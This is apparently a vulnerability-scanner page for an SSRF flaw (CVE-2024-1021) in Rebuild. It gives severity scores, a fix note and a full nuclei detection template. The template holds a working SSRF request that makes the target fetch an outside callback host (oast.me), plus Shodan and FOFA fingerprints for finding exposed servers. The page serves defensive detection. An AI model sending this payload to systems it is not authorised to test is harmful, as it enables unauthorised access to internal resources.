Rebuild <= 3.5.5 - Server-Side Request Forgery

criticalseverity

9.8CVSS score

34.7%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

There is a security vulnerability in Rebuild 3.5.5, which is due to a server-side request forgery vulnerability in the URL parameter of the readRawText function of the HTTP Request Handler component.

Impact

Successful exploitation of this vulnerability can result in unauthorized access to sensitive internal resources.

Fix

Apply the latest security patches or updates provided by Rebuild to fix this vulnerability.

How to confirm it

Send: GET {{BaseURL}} ; GET {{BaseURL}}/filex/read-raw?url=http://oast.me&cut=1
Positive when: contains(body_2, "<h1> Interactsh Server </h1>") and !contains(body_1, "<h1> Interactsh Server </h1>") and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2024-1021 -u <target>

The full check

id: CVE-2024-1021

info:
  name: Rebuild <= 3.5.5 - Server-Side Request Forgery
  author: BMCel
  severity: critical
  description: |
    There is a security vulnerability in Rebuild 3.5.5, which is due to a server-side request forgery vulnerability in the URL parameter of the readRawText function of the HTTP Request Handler component.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to sensitive internal resources.
  remediation: |
    Apply the latest security patches or updates provided by Rebuild to fix this vulnerability.
  reference:
    - https://github.com/getrebuild/rebuild
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1021
    - https://vuldb.com/?ctiid.252290
    - https://vuldb.com/?id.252290
    - https://github.com/tanjiti/sec_profile
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-1021
    cwe-id: CWE-918
    epss-score: 0.34713
    epss-percentile: 0.98437
    cpe: cpe:2.3:a:ruifang-tech:rebuild:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ruifang-tech
    product: rebuild
    shodan-query: http.favicon.hash:"871154672"
    fofa-query: "icon_hash=\"871154672\""
  tags: cve2024,cve,rebuild,ssrf,ruifang-tech,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/filex/read-raw?url=http://oast.me&cut=1"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "<h1> Interactsh Server </h1>")'
          - '!contains(body_1, "<h1> Interactsh Server </h1>")'
          - 'status_code_2 == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from